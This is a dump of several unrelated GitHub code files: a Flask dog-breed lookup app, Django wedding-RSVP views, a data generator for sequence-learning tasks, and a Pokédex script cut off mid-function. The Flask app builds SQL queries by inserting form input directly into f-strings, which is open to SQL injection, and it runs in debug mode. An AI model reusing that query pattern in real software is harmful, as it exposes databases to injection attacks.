Returns\n -------\n None\n '''\n cache_file = open(CACHE_FILE_NAME, 'w')\n contents_to_write = json.dumps(cache)\n cache_file.write(contents_to_write)\n cache_file.close()\n\n\ndef make_url_request_using_cache(url, cache):\n '''Check the cache for a saved result for the unique key for a url scrape. \n If the result is found, return it. Otherwise send a new \n request, save it, then return it.\n \n Parameters\n ----------\n url: string\n The URL for the scrape.\n cache:\n The json file used to save searches.\n \n Returns\n -------\n dict\n the results of the query as a dictionary loaded from cache\n JSON\n '''\n if (url in cache.keys()): \n print(\"Retrieving stick\")\n return cache[url] \n else:\n print(\"Throwing stick\")\n response = requests.get(url) \n cache[url] = response.text\n save_cache(cache) \n return cache[url] \n\ndef get_group_results_sql(group_by, sort_order, sort_by):\n '''Constructs a SQL query when the user searches by grouping.\n \n Parameters\n ----------\n group_by: string\n String representation of html form. What the user\n wants to group by.\n sort_order: string\n String representation of html form. How the user\n wants to sort data.\n sort_by: string\n String representation of html form. Sort by\n numerical data.\n\n Returns\n -------\n tuple\n the results of the query as a nested tuple.\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n limit = 'LIMIT 10'\n if group_by == 'breed group':\n join_and_group = 'JOIN Groups AS G ON D.BreedGroupId=G.Id GROUP BY G.BreedGroup'\n select = 'G.BreedGroup'\n elif group_by == 'origin':\n join_and_group = 'JOIN Countries AS C ON D.CountryId=C.Id GROUP BY C.Country'\n select = 'C.Country'\n elif group_by == 'size':\n select = 'D.Size'\n join_and_group = 'GROUP BY Size'\n elif group_by == 'barkiness':\n select = 'D.Barkiness'\n join_and_group = 'GROUP BY Barkiness'\n if sort_by == 'rank':\n sort_by = 'Rank'\n elif sort_by == 'max_life':\n sort_by = 'MaxLifeSpan'\n elif sort_by == 'min_life':\n sort_by = 'MinLifeSpan'\n elif sort_by == 'number':\n sort_by = 'Number'\n query = f'''\n SELECT {select}, COUNT(DISTINCT Name) AS Number, ROUND(AVG(Rank), 2) AS Rank, ROUND(AVG(MinLifeSpan), 2) AS MinLifeSpan, \n ROUND(AVG(MaxLifeSpan), 2) AS MaxLifeSpan FROM Dogs AS D\n {join_and_group} HAVING {sort_by} <> 'n/a' ORDER BY {sort_by} {sort_order} {limit}\n '''\n results = cur.execute(query).fetchall()\n conn.close()\n return results\n\ndef get_dog_results_sql(sort_by, sort_order, region, size, breed_group, bark, limit):\n '''Constructs a SQL query when the user searches by dog.\n \n Parameters\n ----------\n sort_by: string\n String representation of html form. Sort by\n numerical data.\n sort_order: string\n String representation of html form. How the user\n wants to sort data.\n region: string\n String representation of html form. Filter by\n region of origion.\n size: string\n String representation of html form. Filter by dog size.\n breed_group: string\n String representation of html form. Filter by breed group.\n bark: string\n String representation of html form. Filter by noise level.\n limit: int\n Integer representing number of rows that the user requests.\n\n Returns\n -------\n tuple\n the results of the query as a nested tuple.\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n if sort_by == 'rank':\n sort_by = 'Rank'\n elif sort_by == 'max_life':\n sort_by = 'MaxLifeSpan'\n elif sort_by == 'min_life':\n sort_by = 'MinLifeSpan'\n if region == 'All':\n region = ''\n if size == 'All':\n size = ''\n if breed_group == 'All':\n breed_group = ''\n if bark == 'All bark levels':\n bark = ''\n else:\n bark = f\"WHERE Barkiness='{bark}'\"\n else:\n breed_group = f\"WHERE BreedGroup='{breed_group}'\"\n if bark == 'All bark levels':\n bark = ''\n else:\n bark = f\"AND Barkiness='{bark}'\"\n else:\n size = f\"WHERE Size='{size}'\"\n if breed_group == 'All':\n breed_group = ''\n else:\n breed_group = f\"AND BreedGroup='{breed_group}'\"\n if bark == 'All bark levels':\n bark = ''\n else:\n bark = f\"AND Barkiness='{bark}'\"\n else:\n region = f\"WHERE Country='{region}'\"\n if size == 'All':\n size = ''\n else:\n size = f\"AND Size='{size}'\"\n if breed_group == 'All':\n breed_group = ''\n else:\n breed_group = f\" AND BreedGroup='{breed_group}'\"\n if bark == 'All bark levels':\n bark = ''\n else:\n bark = f\" AND Barkiness='{bark}'\"\n if limit:\n limit = limit\n else:\n limit = 10\n query = f'''\n SELECT Name, Rank, C.Country, G.BreedGroup, Size, Barkiness, MinLifeSpan, MaxLifeSpan FROM DOGS AS D\n JOIN Countries AS C ON D.CountryId=C.Id JOIN Groups as G on D.BreedGroupId=G.Id\n {region} {size} {breed_group} {bark} ORDER BY {sort_by} {sort_order} LIMIT {limit}\n '''\n results = cur.execute(query).fetchall()\n conn.close()\n return results\n\ndef get_barkiness():\n '''Uses SQL database to find all unique instances\n in a column.\n \n Parameters\n ----------\n None\n\n Returns\n -------\n list\n list of all bark levels.\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n query = '''\n SELECT DISTINCT(Barkiness) FROM Dogs\n '''\n results = cur.execute(query).fetchall()\n conn.close()\n bark_list = []\n for item in results:\n for x in item:\n bark_list.append(x)\n bark_list.sort()\n return bark_list\n\ndef get_sizes():\n '''Uses SQL database to find all unique instances\n in a column.\n \n Parameters\n ----------\n None\n\n Returns\n -------\n list\n list of all dog sizes.\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n query = '''\n SELECT DISTINCT(Size) FROM Dogs\n '''\n results = cur.execute(query).fetchall()\n conn.close()\n size_list = []\n for item in results:\n for x in item:\n size_list.append(x)\n size_list.sort()\n return size_list\n\ndef get_breedgroups():\n '''Uses SQL database to find all unique instances\n in a column.\n \n Parameters\n ----------\n None\n\n Returns\n -------\n list\n list of all breed groups.\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n query = '''\n SELECT DISTINCT(BreedGroup) FROM Groups\n '''\n results = cur.execute(query).fetchall()\n conn.close()\n group_list = []\n for item in results:\n for x in item:\n group_list.append(x)\n group_list.sort()\n return group_list\n\ndef get_countries():\n '''Uses SQL database to find all unique instances\n in a column.\n \n Parameters\n ----------\n None\n\n Returns\n -------\n list\n list of all origins.\n '''\n conn = sqlite3.connect(DB_NAME)\n cur = conn.cursor()\n query = '''\n SELECT DISTINCT(Country) FROM Countries\n '''\n results = cur.execute(query).fetchall()\n conn.close()\n country_list = []\n for item in results:\n for x in item:\n country_list.append(x)\n country_list.sort()\n return country_list\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/dogs')\ndef dogs():\n bark_list = get_barkiness()\n size_list = get_sizes()\n group_list = get_breedgroups()\n country_list = get_countries()\n return render_template('dogs.html', bark_list=bark_list, size_list=size_list,\n group_list=group_list, country_list=country_list)\n\n@app.route('/groupings')\ndef groupings():\n return render_template('groupings.html')\n\n@app.route('/doggos', methods=['POST'])\ndef doggos():\n sort_by = request.form['sort']\n sort_order = request.form['dir']\n region = request.form['region']\n size = request.form['size']\n breed_group = request.form['breed_group']\n bark = request.form['barkiness']\n limit = request.form['limit']\n results = get_dog_results_sql(sort_by, sort_order, region, size, breed_group, bark, limit)\n headers = ['Dog Breed', 'Rank', 'Origin', 'Breed Group', 'Size', 'Barkiness', 'Min Life Span', 'Max Life Span']\n\n plot_results = request.form.get('plot', False)\n if (plot_results):\n x_vals = [r[0] for r in results]\n if sort_by == 'rank':\n y_vals = [r[1] for r in results]\n elif sort_by == 'min_life':\n y_vals = [r[6] for r in results]\n else:\n y_vals = [r[7] for r in results]\n bars_data = go.Bar(\n x=x_vals,\n y=y_vals\n )\n fig = go.Figure(data=bars_data)\n div = fig.to_html(full_html=False)\n return render_template(\"plot.html\", plot_div=div)\n elif len(results) == 0:\n return render_template('ohno.html')\n else:\n return render_template('doggos.html', results=results, headers=headers, doggydict=doggydict)\n\n@app.route('/results', methods=['POST'])\ndef group_results():\n group_by = request.form['group']\n sort_order = request.form['dir']\n sort_by = request.form['sort']\n results = get_group_results_sql(group_by, sort_order, sort_by)\n headers = [f'{group_by}'.capitalize(), 'Number of Dogs', 'AKC Rank', 'Min Life Span', 'Max Life Span']\n\n plot_results = request.form.get('plot', False)\n if (plot_results):\n x_vals = [r[0] for r in results]\n if sort_by == 'rank':\n y_vals = [r[2] for r in results]\n elif sort_by == 'number':\n y_vals = [r[1] for r in results]\n elif sort_by == 'min_life':\n y_vals = [r[3] for r in results]\n else:\n y_vals = [r[4] for r in results]\n bars_data = go.Bar(\n x=x_vals,\n y=y_vals\n )\n fig = go.Figure(data=bars_data)\n div = fig.to_html(full_html=False)\n return render_template(\"plot.html\", plot_div=div)\n else:\n return render_template('results.html', results=results, headers=headers)\n\n\nif __name__ == '__main__':\n CACHE_DICT = load_cache()\n print(\"Creating database of dogs...\\nPlease sit for your treat...\")\n create_db()\n doggydict = get_dogs()\n doggylist = get_dog_info(doggydict)\n more_list = get_more_info(doggydict)\n combined_info = combine_dog_lists(doggylist, more_list)\n countries = populate_countries(combined_info)\n country_table(countries)\n groups = populate_breed_groups(combined_info)\n group_table(groups)\n add_info(combined_info) \n app.run(debug=True)","repo_name":"bhburnstein/si_507_final_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":21634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36340494025","text":"from django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required\n\nimport csv\nfrom alexdaphne.models import RsvpReply, Guest, Location, Event, ATTENDANCE_CHOICES\n\n\n\ndef contact(request):\n return render_to_response('contact.html', {})\n\n\ndef maps(request):\n return render_to_response('maps.html', {})\n\n\ndef photos(request):\n return render_to_response('photos.html', {})\n\n\ndef thankyou(request):\n return render_to_response('thankyou.html', {})\n\n\ndef home(request):\n form = {\"name_count\" : \"0\"}\n return render_to_response('home.html', {'form' : form})\n\n\ndef rsvp_add(request):\n\n def validate(form):\n errors = {}\n ERR_MSG = \"This field is required.\"\n\n if \"name0\" not in form:\n errors[\"name0\"] = ERR_MSG\n if len(form[\"name0\"].strip()) == 0:\n errors[\"name0\"] = ERR_MSG\n\n if \"num_reception\" not in form:\n errors[\"num_reception\"] = ERR_MSG\n try:\n int(form[\"num_reception\"])\n except ValueError:\n errors[\"num_reception\"] = ERR_MSG\n\n if \"num_ceremony\" not in form:\n errors[\"num_ceremony\"] = ERR_MSG\n try:\n int(form[\"num_ceremony\"])\n except ValueError:\n errors[\"num_ceremony\"] = ERR_MSG\n\n if \"name_count\" not in form:\n errors[\"name_count\"] = ERR_MSG\n try:\n int(form[\"name_count\"])\n except ValueError:\n errors[\"name_count\"] = ERR_MSG\n\n if errors:\n errors[\"message\"] = \"Oops, something went wrong!\"\n return errors\n\n\n if not request.POST:\n return HttpResponseRedirect(\"/\")\n else:\n form = request.POST\n errors = validate(form)\n \n if errors:\n class Name:\n def __init__(self, key, val):\n self.key = key\n self.val = val\n \n additional_names = []\n names = [k for k in form if k.startswith(\"name\") and k != \"name0\"]\n \n for name in names:\n try:\n int(name[4:])\n additional_names.append( Name(name, form[name]) )\n except ValueError:\n pass\n \n return render_to_response('home.html',\n {'form' : form,\n 'errors' : errors,\n 'additional_names' : additional_names})\n \n else:\n r = RsvpReply(\n comment = form[\"comment\"],\n num_ceremony = int(form[\"num_ceremony\"]),\n num_reception= int(form[\"num_reception\"])\n )\n r.save()\n\n upperbound = int(form[\"name_count\"]) + 1\n for i in range(0, upperbound):\n try:\n guest_name = form[\"name%s\" % i].strip()\n if len(guest_name) > 0:\n g = Guest(name=guest_name)\n g.rsvp_reply_id = r.id\n g.save()\n except KeyError:\n pass\n\n return HttpResponseRedirect('/thankyou')\n\n\n@login_required\ndef rsvp_dump(request):\n filename = 'rsvp.csv'\n response = HttpResponse(mimetype='text/csv')\n response['Content-Disposition'] = 'attachment; filename=%s' % filename\n\n writer = csv.writer(response)\n \n # loop through the RsvpReply objects\n rsvplist = RsvpReply.objects.all()\n for rsvp in rsvplist:\n is_first_row = True\n guests = rsvp.guest_set.all()\n for g in guests:\n if is_first_row:\n writer.writerow(\n [rsvp.id,\n g.name,\n rsvp.num_ceremony,\n rsvp.num_reception,\n rsvp.taken_care_of,\n rsvp.received_date,\n rsvp.comment])\n is_first_row = False\n else:\n writer.writerow(['', g.name, '', '', '', '', ''])\n return response\n\n","repo_name":"likwoka/old_py_stuffs","sub_path":"www.alex-daphne.com/alexdaphne/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72342215791","text":"import numpy as np\nimport itertools\nimport fsm\nimport pickle\nimport random\nimport gzip\nimport sys\nimport json\nif (sys.version_info > (3, 0)):\n import pickle as pkl\nelse:\n #Python 2.7 imports\n import cPickle as pkl\n\n\n\n\n################ add_input_noise ########################################################\n# incorporate input noise into the test patterns\ndef add_input_noise(noise_level, X, Y, n_repeat):\n# X: # examples X # sequence elements X #inputs\n X = np.repeat(X, n_repeat, axis=0)\n Y = np.repeat(Y, n_repeat, axis=0)\n X = X + (np.random.random(X.shape)*2.0-1.0) * noise_level\n return X,Y\n\n\n################ generate_examples ######################################################\ndef generate_examples(seq_len, n_train, n_test, input_noise_level, task, ops):\n cutoff_seq = lambda x, len: x[0:len]\n maps = None\n X_val, Y_val = None, None\n print(task)\n if (task == 'parity' or task == 'parity_length'):\n X_train, Y_train = generate_parity_majority_sequences(seq_len, n_train, task)\n X_test, Y_test = generate_parity_majority_sequences(seq_len, n_test, task)\n if (input_noise_level > 0.):\n X_test, Y_test = add_input_noise(input_noise_level,X_test,Y_test,2)\n # for majority, split all sequences into training and test sets\n elif task == 'parity_length_noisy_longer_remainder':\n X, Y = generate_parity_majority_sequences(seq_len, n_train, task)\n # remainder\n train_split = int((n_train * 0.25))\n X_train, Y_train, X_test_left, Y_test_left = X[0:train_split], Y[0:train_split], X[train_split:], Y[train_split:]\n # noisy\n if (input_noise_level > 0.):\n X_test_noise, Y_test_noise = add_input_noise(input_noise_level*2, X_train, Y_train, 2)\n # longer\n longer_len = seq_len*3\n X_test_long, Y_test_long = generate_parity_majority_sequences(longer_len, len(X), task)\n\n X_test = [X_test_left, X_test_noise, X_test_long]\n Y_test = [Y_test_left, Y_test_noise, Y_test_long]\n elif (task == 'majority'):\n X, Y = generate_parity_majority_sequences(seq_len, n_train+n_test, task)\n pix = np.random.permutation(n_train+n_test)\n X_train = X[pix[:n_train],:]\n Y_train = Y[pix[:n_train],:]\n X_test = X[pix[n_train:],:]\n Y_test = Y[pix[n_train:],:]\n if (input_noise_level > 0.):\n X_test, Y_test = add_input_noise(input_noise_level,X_test,Y_test,1)\n elif (task == 'reber'):\n _, Y_train, X_train, _ = fsm.generate_grammar_dataset(1, seq_len, n_train)\n _, Y_test, X_test, _ = fsm.generate_grammar_dataset(1, seq_len, n_test)\n elif (task == 'kazakov'):\n _, Y_train, X_train, _ = fsm.generate_grammar_dataset(2, seq_len, n_train)\n _, Y_test, X_test, _ = fsm.generate_grammar_dataset(2, seq_len, n_test)\n elif (task == \"pos_brown\"):\n dataset_X, dataset_Y, maps = get_pos_brown_dataset('data/corpus_brown', ops['test_partition'])\n # trip sequences to seq_len\n # dataset_X = np.array([cutoff_seq(x) for x in dataset_X], ops['seq_len'])\n # dataset_Y = np.array([cutoff_seq(x) for x in dataset_Y], ops['seq_len'])\n if ops['reshuffle_data_each_replication']:\n indeces = range(dataset_X.shape[0])\n random.shuffle(indeces)\n dataset_X = dataset_X[indeces]\n dataset_Y = dataset_Y[indeces]\n max_len = np.max([len(x) for x in dataset_X])\n # pad all sequences with zeros at the end\n X = np.zeros([len(dataset_X), max_len])\n Y = np.zeros([len(dataset_X), max_len])\n for i,x in enumerate(dataset_X):\n X[i,:len(x)] = x\n for i,x in enumerate(dataset_Y):\n Y[i,:len(x)] = x\n X = X.astype(\"int64\")\n Y = Y.astype(\"int64\")\n\n X_test = X[0:n_test,:]\n print(X_test.shape)\n Y_test = Y[0:n_test,:]\n X_train = X[n_test:,:]\n Y_train = Y[n_test:,:]\n\n val_cut = int(0.2*X_train.shape[0])\n X_val = X_train[0:val_cut,:]\n Y_val = Y_train[0:val_cut,:]\n X_train = X_train[val_cut:,:]\n Y_train = Y_train[val_cut:,:]\n\n elif (task == \"ner_german\"):\n X, Y, maps, embeddings_dict = get_ner_german_dataset('data/ner_german')\n # 16% test, 7% dev\n test_cut = int(len(Y)*0.17)\n val_cut = int(len(Y) * 0.07)\n train_cut = int(len(Y) - (test_cut + val_cut))\n # train_data, test_data, dev_data (like was in the original dataset)\n X_train = X[0:train_cut, :, :]\n Y_train = Y[0:train_cut, :]\n\n X_test = X[train_cut:train_cut + test_cut, :, :]\n Y_test = Y[train_cut:train_cut + test_cut, :]\n\n X_val = X[train_cut + test_cut:, :, :]\n Y_val = Y[train_cut + test_cut:, :]\n\n elif (task == \"sentiment_imdb\"):\n X, Y, maps = get_sentiment_imbd('data/imdb_keras')\n\n Y = np.expand_dims(Y, axis=1)\n # 16% test, 7% dev\n test_cut = int(len(Y)*0.20)\n val_cut = int(len(Y) * 0.20)\n train_cut = int(len(Y) - (test_cut + val_cut))\n # train_data, test_data, dev_data (like was in the original dataset)\n print(X.shape, Y.shape)\n X_train = X[0:train_cut, :]\n Y_train = Y[0:train_cut, :]\n\n X_test = X[train_cut:train_cut + test_cut, :]\n Y_test = Y[train_cut:train_cut + test_cut, :]\n\n X_val = X[train_cut + test_cut:, :]\n Y_val = Y[train_cut + test_cut:, :]\n\n elif (task == \"topic_classification\"):\n X, Y, maps = get_topic_classification_reuters('data/topic_classification')\n\n Y = np.expand_dims(Y, axis=1)\n # 16% test, 7% dev\n test_cut = int(len(Y)*0.30)\n train_cut = int(len(Y) - (test_cut))\n # train_data, test_data, dev_data (like was in the original dataset)\n print(X.shape, Y.shape)\n X_train = X[0:train_cut, :]\n Y_train = Y[0:train_cut, :]\n\n X_test = X[train_cut:, :]\n Y_test = Y[train_cut:, :]\n elif (task == \"video_classification\"):\n with open('data/video_classification/data_class25.pickle', 'rb') as handle:\n dataset = json.load(handle)\n X_train, Y_train, X_test, Y_test = np.array(dataset['X_train']), np.array(dataset['Y_train']), np.array(dataset['X_test']), np.array(dataset['Y_test'])\n Y_test = np.expand_dims(Y_test, axis=1)\n Y_train = np.expand_dims(Y_train, axis=1)\n elif (task == \"msnbc\"):\n with open('data/msnbc/data.pickle', 'rb') as handle:\n dataset = pickle.load(handle)\n X_train, Y_train, X_test, Y_test = np.array(dataset['X_train']), np.array(dataset['Y_train']), np.array(dataset['X_test']), np.array(dataset['Y_test'])\n\n X_train_pad = np.zeros([len(X_train), 40])\n Y_train_pad = np.zeros([len(X_train), 40])\n for i, x in enumerate(X_train):\n X_train_pad[i, :len(x)] = x\n for i, x in enumerate(Y_train):\n Y_train_pad[i, :len(x)] = x\n X_train = X_train_pad.astype(\"int64\")\n Y_train = Y_train_pad.astype(\"int64\")\n\n X_test_pad = np.zeros([len(X_test), 40])\n Y_test_pad = np.zeros([len(X_test), 40])\n for i, x in enumerate(X_test):\n X_test_pad[i, :len(x)] = x\n for i, x in enumerate(Y_test):\n Y_test_pad[i, :len(x)] = x\n X_test = X_test_pad.astype(\"int64\")\n Y_test = Y_test_pad.astype(\"int64\")\n\n return [X_train, Y_train, X_test, Y_test, X_val, Y_val, maps]\n\n################ generate_parity_majority_sequences #####################################\ndef generate_parity_majority_sequences(N, count, task):\n \"\"\"\n Generate :count: sequences of length :N:.\n If odd # of 1's -> output 1\n else -> output 0\n If count >= 2**N (possible sequences exceeded), then generate the dataset with permutation.\n \"\"\"\n parity = lambda x: 1 if (x % 2 == 1) else 0\n majority = lambda x: 1 if x > N/2 else 0\n if (count >= 2**N):\n sequences = np.asarray([seq for seq in itertools.product([0,1],repeat=N)])\n else:\n sequences = np.random.choice([0, 1], size=[count, N], replace=True)\n counts = np.count_nonzero(sequences == 1, axis=1)\n # parity each sequence, expand dimensions by 1 to match sequences shape\n if (task == 'parity' or task == 'parity_length'):\n y = np.expand_dims(np.array([parity(x) for x in counts]), axis=1)\n else: # majority\n y = np.expand_dims(np.array([majority(x) for x in counts]), axis=1)\n\n # In case if you wanted to have the answer just appended at the end of the sequence:\n # # append the answer at the end of each sequence\n # seq_plus_y = np.concatenate([sequences, y], axis=1)\n # print(sequences.shape, y.shape, seq_plus_y.shape)\n # return seq_plus_y\n return np.expand_dims(sequences, axis=2), y\n\ndef get_pos_brown_dataset(directory):\n with open(directory + \"/data.pickle\", 'rb') as handle:\n dataset = pickle.load(handle)\n dataset_X, dataset_Y = dataset['X'], dataset['Y']\n\n map_names = ['id2tag', \"tag2id\", \"id2word\", \"word2id\", \"id2prior\"]\n maps = {map_name: [] for map_name in map_names}\n for map_name in map_names:\n with open(directory + \"/\" + map_name + '.pickle', 'rb') as handle:\n maps[map_name] = pickle.load(handle)\n\n return [dataset_X, dataset_Y, maps]\n\ndef get_sentiment_imbd(directory):\n with open(directory + \"/dataset.pickle\", 'rb') as handle:\n dataset = pickle.load(handle)\n dataset_X, dataset_Y = np.array(dataset['X']), np.array(dataset['Y'])\n\n map_names = [\"id2word\", \"word2id\"]\n maps = {}\n for map_name in map_names:\n with open(directory + '/maps.pickle', 'rb') as handle:\n maps = pickle.load(handle)\n with open(\"data/imdb_keras/dataset_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n SEQ_LEN = dataset_params['seq_len_max']\n\n X = np.zeros([len(dataset_X), SEQ_LEN])\n Y = np.zeros([len(dataset_X)])\n for i, x in enumerate(dataset_X):\n X[i, :len(x)] = x\n for i, x in enumerate(dataset_Y):\n Y[i] = x\n X = X.astype(\"int64\")\n Y = Y.astype(\"int64\")\n\n return [X, Y, maps]\n\ndef get_topic_classification_reuters(directory):\n with open(directory + \"/dataset.pickle\", 'rb') as handle:\n dataset = pickle.load(handle)\n dataset_X, dataset_Y = np.array(dataset['X']), np.array(dataset['Y'])\n\n map_names = [\"id2word\", \"word2id\"]\n maps = {}\n for map_name in map_names:\n with open(directory + '/maps.pickle', 'rb') as handle:\n maps = pickle.load(handle)\n with open(directory + \"/dataset_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n SEQ_LEN = dataset_params['seq_len_max']\n\n X = np.zeros([len(dataset_X), SEQ_LEN])\n Y = np.zeros([len(dataset_X)])\n for i, x in enumerate(dataset_X):\n X[i, :len(x)] = x\n for i, x in enumerate(dataset_Y):\n Y[i] = x\n X = X.astype(\"int64\")\n Y = Y.astype(\"int64\")\n\n return [X, Y, maps]\n\ndef get_ner_german_dataset(directory):\n with open(directory + \"/dataset_cutoff.pickle\", 'rb') as handle:\n dataset = pickle.load(handle)\n tokens, casing, labels = dataset['tokens'], dataset['casing'], dataset['Y']\n with open(\"data/ner_german/data_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n\n # embeddinigs:\n f = gzip.open('data/ner_german/embeddings.pkl.gz', 'rb')\n embeddings = pkl.load(f)\n f.close()\n\n label2Idx = embeddings['label2Idx']\n wordEmbeddings = embeddings['wordEmbeddings']\n caseEmbeddings = embeddings['caseEmbeddings']\n # Inverse label mapping\n idx2Label = {v: k for k, v in label2Idx.items()}\n maps = {'id2tag': idx2Label, 'tag2id': label2Idx}\n embeddings_dict = {'word': wordEmbeddings, \"case\": caseEmbeddings}\n\n # putting the embeddings in\n X_tok = np.zeros([len(tokens), dataset_params['seq_len_max'], len(wordEmbeddings[0])])\n X_cas = np.zeros([len(tokens), dataset_params['seq_len_max'], len(caseEmbeddings[0])])\n Y = np.zeros([len(tokens), dataset_params['seq_len_max']])\n for i, x in enumerate(tokens):\n X_tok[i, :len(x), :] = wordEmbeddings[x]\n for i, x in enumerate(casing):\n X_cas[i, :len(x), :] = caseEmbeddings[x]\n for i, x in enumerate(labels):\n Y[i, :len(x)] = x\n\n X = np.concatenate([X_tok, X_cas], axis=2)\n # putting in all the embeddings right away\n return [X, Y, maps, embeddings_dict]\n\n\n\ndef pick_task(task_name, ops):\n if (task_name=='parity'):\n SEQ_LEN = 10\n N_INPUT = 1 # number of input units\n N_CLASSES = 1 # number of output units\n N_TRAIN = 256 # train on all seqs\n N_TEST = 768\n solved_problem_count = 0\n elif (task_name=='parity_length'):\n SEQ_LEN = 12\n N_INPUT = 1 # number of input units\n N_CLASSES = 1 # number of output units\n N_TRAIN = 1000#1000 # train on all seqs\n N_TEST = 1000#1000#pow(2,SEQ_LEN)\n solved_problem_count = 0\n elif (task_name=='parity_length_noisy_longer_remainder'):\n SEQ_LEN = 10\n N_INPUT = 1 # number of input units\n N_CLASSES = 1 # number of output units\n N_TRAIN = pow(2,SEQ_LEN) #1000 # train on all seqs\n N_TEST = pow(2,SEQ_LEN)#1000#pow(2,SEQ_LEN)\n elif (task_name=='majority'):\n SEQ_LEN = 10\n N_INPUT = 1 # number of input units\n N_CLASSES = 1 # number of output units\n N_TRAIN = 256\n N_TEST = 768\n elif (task_name=='reber'):\n SEQ_LEN = 20\n N_INPUT = 7 # B E P S T V X\n N_CLASSES = 1\n N_TRAIN = 200\n N_TEST = 400\n elif (task_name=='kazakov'):\n SEQ_LEN = 20\n N_INPUT = 5\n N_CLASSES = 1\n N_TRAIN = 400\n N_TEST = 2000\n elif(task_name=='pos_brown'):\n with open(\"data/corpus_brown/data_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n SEQ_LEN = dataset_params['seq_len_max'] #length 50 cutoff preserves 98% of data\n if ops['input_type'] == 'embed':\n N_INPUT = ops['embedding_size'] # embedding vector size\n elif ops['input_type'] == 'prior':\n N_INPUT = 147\n elif ops['input_type'] == 'embed&prior':\n N_INPUT = 147 + ops['embedding_size']\n\n N_CLASSES = dataset_params['n_classes'] # tags size\n total_examples = dataset_params['total_examples'] # total sequences\n N_TEST = int(total_examples*ops['test_partition'])\n N_TRAIN = total_examples - N_TEST\n ops['seq_len'] = SEQ_LEN\n ops['vocab_size'] = dataset_params['vocab_size']\n elif (task_name == 'ner_german'):\n N_INPUT = 108 # word embed + case embed\n with open(\"data/ner_german/data_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n SEQ_LEN = dataset_params['seq_len_max']\n N_CLASSES = dataset_params['n_classes']\n total = dataset_params['total_examples']\n N_TEST = int(total * 0.17)\n N_VALID = int(total * 0.07)\n N_TRAIN = int(total - (N_TEST + N_VALID))\n ops['seq_len'] = SEQ_LEN\n elif (task_name == 'sentiment_imdb'):\n N_INPUT = ops['embedding_size'] # word embed\n with open(\"data/imdb_keras/dataset_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n SEQ_LEN = dataset_params['seq_len_max']\n N_CLASSES = 1 # output is singular since only 2 classes.\n total = dataset_params['total_examples']\n N_TEST = int(total * 0.20)\n N_VALID = int(total * 0.20)\n N_TRAIN = int(total - (N_TEST + N_VALID))\n ops['seq_len'] = SEQ_LEN\n elif (task_name == \"topic_classification\"):\n N_INPUT = ops['embedding_size'] # word embed\n with open(\"data/topic_classification/dataset_params.pickle\", 'rb') as handle:\n dataset_params = pickle.load(handle)\n SEQ_LEN = dataset_params['seq_len_max']\n N_CLASSES = dataset_params['n_classes'] # output is singular since only 2 classes.\n total = dataset_params['total_examples']\n N_TEST = int(total * 0.20)\n N_VALID = int(total * 0.20)\n N_TRAIN = int(total - (N_TEST + N_VALID))\n ops['seq_len'] = SEQ_LEN\n elif (task_name == \"video_classification\"):\n N_INPUT = 2048 # word embed\n SEQ_LEN = 40\n N_CLASSES = 25 # output is singular since only 2 classes.\n N_TEST = 0\n N_VALID = 0\n N_TRAIN = 0\n ops['seq_len'] = SEQ_LEN\n elif (task_name == \"msnbc\"):\n N_INPUT = 18 # word embed\n SEQ_LEN = 40\n N_CLASSES = 18 # output is singular since only 2 classes.\n N_TEST = 0\n N_VALID = 0\n N_TRAIN = 0\n ops['seq_len'] = SEQ_LEN\n else:\n print('Invalid task: ',task_name)\n ops['in'] = N_INPUT\n ops['out'] = N_CLASSES\n return ops, SEQ_LEN, N_INPUT, N_CLASSES, N_TRAIN, N_TEST","repo_name":"d-kz/attractor_net_notebooks","sub_path":"data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":17001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"17322027175","text":"import csv\nimport pandas as pd\n\ndata = pd.read_csv(\"pokemon.csv\")\n\n\nitems_per_page = 10\n\n\ndef show_pokemon_page(page_number):\n start_index = (page_number - 1) * items_per_page\n end_index = start_index + items_per_page\n page_data = data[start_index:end_index]\n\n if not page_data.empty:\n print(page_data)\n else:\n print(\"No Pokémon on this page.\")\n\n\ndef show_all_pokemon():\n total_pages = len(data) // items_per_page + 1\n\n while True:\n try:\n page_number = int(\n input(f\"Enter the page number (1 - {total_pages}) or '0' to exit: \")\n )\n if page_number == 0:\n break\n if 1 <= page_number <= total_pages:\n show_pokemon_page(page_number)\n else:\n print(\"Invalid page number. Please enter a valid page number.\")\n except ValueError:\n print(\"Invalid input. Please enter a number.\")\n\n\ndef search_pokemon_by_name(name):\n # Search for the Pokémon by name\n pokemon = data[data[\"Name\"].str.lower() == name.lower()]\n\n if not pokemon.empty:\n print(\"\\n\")\n print(pokemon)\n print(\"\\n\")\n else:\n print(\"Pokemon not found in the Pokédex.\")\n\n\ndef show_pokemons_by_gen(gen):\n try:\n gen = int(gen)\n # Show all Pokemons by generation\n pokemon = data[data[\"Generation\"] == gen]\n\n if not pokemon.empty:\n print(\"\\n\")\n for index, row in pokemon.iterrows():\n print(\"Name:\", row[\"Name\"])\n print(\"Generation:\", row[\"Generation\"])\n # maybe i can add more attributes to display\n print(\"\\n\")\n else:\n print(\"No Pokémon found in Generation \" + str(gen))\n except ValueError:\n print(\"Invalid generation selection. Please enter a number between 1 and 6.\")\n\n\ndef show_pokemons_by_type(type):\n try:\n pokemon 